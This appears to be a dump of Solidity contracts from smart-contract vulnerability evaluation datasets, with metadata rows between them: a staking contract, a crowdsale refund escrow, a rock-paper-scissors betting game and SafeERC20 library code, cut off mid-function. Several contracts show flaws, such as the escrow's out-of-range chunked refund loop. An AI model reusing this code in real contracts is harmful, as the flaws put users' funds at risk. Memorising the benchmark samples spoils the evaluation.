function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsTyy {
function rebase(uint256 tyyProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TyyStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Tyy;
address public immutable sTyy;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Tyy,
address _sTyy,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Tyy != address(0));
Tyy = _Tyy;
require(_sTyy != address(0));
sTyy = _sTyy;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Tyy).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsTyy(sTyy).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sTyy).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsTyy(sTyy).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsTyy(sTyy).balanceForGons(info.gons));
IERC20(Tyy).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sTyy).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Tyy).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsTyy(sTyy).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsTyy(sTyy).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsTyy(sTyy).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Tyy).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sTyy).safeTransfer(locker, _amount);
}
function approve(address tokenAddress, address spender, uint256 amount) public onlyManager returns (bool) {
IERC20(tokenAddress).approve(spender, amount);
return true;
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sTyy).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 72,017 | 10,854 |
33941e4a62832d4b1d1a26b32b06acb6c358e0020cf0a366024efeabe6f7887b
| 15,018 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8b3b939681d18f876d61aaf57af50f4bf500ed80.sol
| 3,031 | 10,436 |
pragma solidity ^0.4.24;
// File: node_modules\zeppelin-solidity\contracts\math\Math.sol
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\zeppelin-solidity\contracts\payment\Escrow.sol
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
// File: node_modules\zeppelin-solidity\contracts\payment\ConditionalEscrow.sol
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
// File: node_modules\zeppelin-solidity\contracts\payment\RefundEscrow.sol
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
// File: contracts\ClinicAllRefundEscrow.sol
contract ClinicAllRefundEscrow is RefundEscrow {
using Math for uint256;
struct RefundeeRecord {
bool isRefunded;
uint256 index;
}
mapping(address => RefundeeRecord) public refundees;
address[] internal refundeesList;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
mapping(address => uint256) private beneficiaryDeposits;
// Amount of wei deposited by beneficiary
uint256 public beneficiaryDepositedAmount;
// Amount of wei deposited by investors to CrowdSale
uint256 public investorsDepositedToCrowdSaleAmount;
constructor(address _beneficiary)
RefundEscrow(_beneficiary)
public {
}
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function beneficiaryDepositsOf(address _payee) public view returns (uint256) {
return beneficiaryDeposits[_payee];
}
function deposit(address _refundee) public payable {
uint256 amount = msg.value;
beneficiaryDeposits[_refundee] = beneficiaryDeposits[_refundee].add(amount);
beneficiaryDepositedAmount = beneficiaryDepositedAmount.add(amount);
}
function depositFunds(address _refundee, uint256 _value) public onlyOwner {
require(state == State.Active, "Funds deposition is possible only in the Active state.");
uint256 amount = _value;
deposits[_refundee] = deposits[_refundee].add(amount);
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.add(amount);
emit Deposited(_refundee, amount);
RefundeeRecord storage _data = refundees[_refundee];
_data.isRefunded = false;
if (_data.index == uint256(0)) {
refundeesList.push(_refundee);
_data.index = refundeesList.length.sub(1);
}
}
function close() public onlyOwner {
super.close();
}
function withdraw(address _payee) public onlyOwner {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.sub(payment);
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function manualRefund(address _payee) public onlyOwner {
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
deposits[_payee] = 0;
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function removeRefundeeByIndex(uint256 _indexToDelete) private {
if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) {
uint256 _lastIndex = refundeesList.length.sub(1);
refundeesList[_indexToDelete] = refundeesList[_lastIndex];
refundeesList.length--;
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return refundeesList.length;
}
function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
uint256 _refundeesCount = refundeesList.length;
require(_chunkLength >= _refundeesCount);
require(_txFee > 0, "Transaction fee should be above zero.");
require(_refundeesCount > 0, "List of investors should not be empty.");
uint256 _weiRefunded = 0;
require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees.");
address[] memory _refundeesListCopy = new address[](_chunkLength);
uint256 i;
for (i = 0; i < _chunkLength; i++) {
address _refundee = refundeesList[i];
RefundeeRecord storage _data = refundees[_refundee];
if (_data.isRefunded == false) {
if (depositsOf(_refundee) > _txFee) {
uint256 _deposit = depositsOf(_refundee);
if (_deposit > _txFee) {
_weiRefunded = _weiRefunded.add(_deposit);
uint256 _paymentWithoutTxFee = _deposit.sub(_txFee);
_refundee.transfer(_paymentWithoutTxFee);
emit Withdrawn(_refundee, _paymentWithoutTxFee);
_data.isRefunded = true;
_refundeesListCopy[i] = _refundee;
}
}
}
}
for (i = 0; i < _chunkLength; i++) {
if (address(0) != _refundeesListCopy[i]) {
RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]];
require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded.");
removeRefundeeByIndex(_dataCleanup.index);
}
}
return (_weiRefunded, _refundeesListCopy);
}
function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
return withdrawChunk(_txFee, refundeesList.length);
}
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
require(_value <= address(this).balance, "Withdraw part can not be more than current balance");
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
function beneficiaryWithdrawAll() public onlyOwner {
uint256 _value = address(this).balance;
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
}
| 214,082 | 10,855 |
23d5c2cd70cbb2380b99176051fdfe4601f4d5ac38334e8ea26632bb01f8d473
| 9,865 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa8f9c7ff9f605f401bde6659fd18d9a0d0a802c5.sol
| 2,597 | 9,712 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract AccessControl is SafeMath{
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
address newContractAddress;
uint public tip_total = 0;
uint public tip_rate = 10000000000000000;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress);
_;
}
function () public payable{
tip_total = safeAdd(tip_total, msg.value);
}
/// @dev Count amount with tip.
/// @param amount The totalAmount
function amountWithTip(uint amount) internal returns(uint){
uint tip = safeMul(amount, tip_rate) / (1 ether);
tip_total = safeAdd(tip_total, tip);
return safeSub(amount, tip);
}
/// @dev Withdraw Tip.
function withdrawTip(uint amount) external onlyCFO {
require(amount > 0 && amount <= tip_total);
require(msg.sender.send(amount));
tip_total = tip_total - amount;
}
// updgrade
function setNewAddress(address newContract) external onlyCEO whenPaused {
newContractAddress = newContract;
emit ContractUpgrade(newContract);
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
contract RpsGame is SafeMath , AccessControl{
/// @dev Constant definition
uint8 constant public NONE = 0;
uint8 constant public ROCK = 10;
uint8 constant public PAPER = 20;
uint8 constant public SCISSORS = 30;
uint8 constant public DEALERWIN = 201;
uint8 constant public PLAYERWIN = 102;
uint8 constant public DRAW = 101;
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event CreateGame(uint gameid, address dealer, uint amount);
event JoinGame(uint gameid, address player, uint amount);
event Reveal(uint gameid, address player, uint8 choice);
event CloseGame(uint gameid,address dealer,address player, uint8 result);
/// @dev struct of a game
struct Game {
uint expireTime;
address dealer;
uint dealerValue;
bytes32 dealerHash;
uint8 dealerChoice;
address player;
uint8 playerChoice;
uint playerValue;
uint8 result;
bool closed;
}
/// @dev struct of a game
mapping (uint => mapping(uint => uint8)) public payoff;
mapping (uint => Game) public games;
mapping (address => uint[]) public gameidsOf;
/// @dev Current game maximum id
uint public maxgame = 0;
uint public expireTimeLimit = 30 minutes;
/// @dev Initialization contract
function RpsGame() {
payoff[ROCK][ROCK] = DRAW;
payoff[ROCK][PAPER] = PLAYERWIN;
payoff[ROCK][SCISSORS] = DEALERWIN;
payoff[PAPER][ROCK] = DEALERWIN;
payoff[PAPER][PAPER] = DRAW;
payoff[PAPER][SCISSORS] = PLAYERWIN;
payoff[SCISSORS][ROCK] = PLAYERWIN;
payoff[SCISSORS][PAPER] = DEALERWIN;
payoff[SCISSORS][SCISSORS] = DRAW;
payoff[NONE][NONE] = DRAW;
payoff[ROCK][NONE] = DEALERWIN;
payoff[PAPER][NONE] = DEALERWIN;
payoff[SCISSORS][NONE] = DEALERWIN;
payoff[NONE][ROCK] = PLAYERWIN;
payoff[NONE][PAPER] = PLAYERWIN;
payoff[NONE][SCISSORS] = PLAYERWIN;
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
}
/// @dev Create a game
function createGame(bytes32 dealerHash, address player) public payable whenNotPaused returns (uint){
require(dealerHash != 0x0);
maxgame += 1;
Game storage game = games[maxgame];
game.dealer = msg.sender;
game.player = player;
game.dealerHash = dealerHash;
game.dealerChoice = NONE;
game.dealerValue = msg.value;
game.expireTime = expireTimeLimit + now;
gameidsOf[msg.sender].push(maxgame);
emit CreateGame(maxgame, game.dealer, game.dealerValue);
return maxgame;
}
/// @dev Join a game
function joinGame(uint gameid, uint8 choice) public payable whenNotPaused returns (uint){
Game storage game = games[gameid];
require(msg.value == game.dealerValue && game.dealer != address(0) && game.dealer != msg.sender && game.playerChoice==NONE);
require(game.player == address(0) || game.player == msg.sender);
require(!game.closed);
require(now < game.expireTime);
require(checkChoice(choice));
game.player = msg.sender;
game.playerChoice = choice;
game.playerValue = msg.value;
game.expireTime = expireTimeLimit + now;
gameidsOf[msg.sender].push(gameid);
emit JoinGame(gameid, game.player, game.playerValue);
return gameid;
}
/// @dev Creator reveals game choice
function reveal(uint gameid, uint8 choice, bytes32 randomSecret) public returns (bool) {
Game storage game = games[gameid];
bytes32 proof = getProof(msg.sender, choice, randomSecret);
require(!game.closed);
require(now < game.expireTime);
require(game.dealerHash != 0x0);
require(checkChoice(choice));
require(checkChoice(game.playerChoice));
require(game.dealer == msg.sender && proof == game.dealerHash);
game.dealerChoice = choice;
Reveal(gameid, msg.sender, choice);
close(gameid);
return true;
}
/// @dev Close game settlement rewards
function close(uint gameid) public returns(bool) {
Game storage game = games[gameid];
require(!game.closed);
require(now > game.expireTime || (game.dealerChoice != NONE && game.playerChoice != NONE));
uint8 result = payoff[game.dealerChoice][game.playerChoice];
if(result == DEALERWIN){
require(game.dealer.send(amountWithTip(safeAdd(game.dealerValue, game.playerValue))));
}else if(result == PLAYERWIN){
require(game.player.send(amountWithTip(safeAdd(game.dealerValue, game.playerValue))));
}else if(result == DRAW){
require(game.dealer.send(game.dealerValue) && game.player.send(game.playerValue));
}
game.closed = true;
game.result = result;
emit CloseGame(gameid, game.dealer, game.player, result);
return game.closed;
}
function getProof(address sender, uint8 choice, bytes32 randomSecret) public view returns (bytes32){
return sha3(sender, choice, randomSecret);
}
function gameCountOf(address owner) public view returns (uint){
return gameidsOf[owner].length;
}
function checkChoice(uint8 choice) public view returns (bool){
return choice==ROCK||choice==PAPER||choice==SCISSORS;
}
}
| 189,631 | 10,856 |
3a2d45e726e2ca97f663ce95aa91b8c9ad65763397a4c7db19e9aa9058c4bcf2
| 14,710 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/publicFuncToExternal/manualCheck/0x06a8fee7a607c5c887f5f0672f7d8849583ddcc1_publicFuncToExternal.sol
| 3,863 | 14,443 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
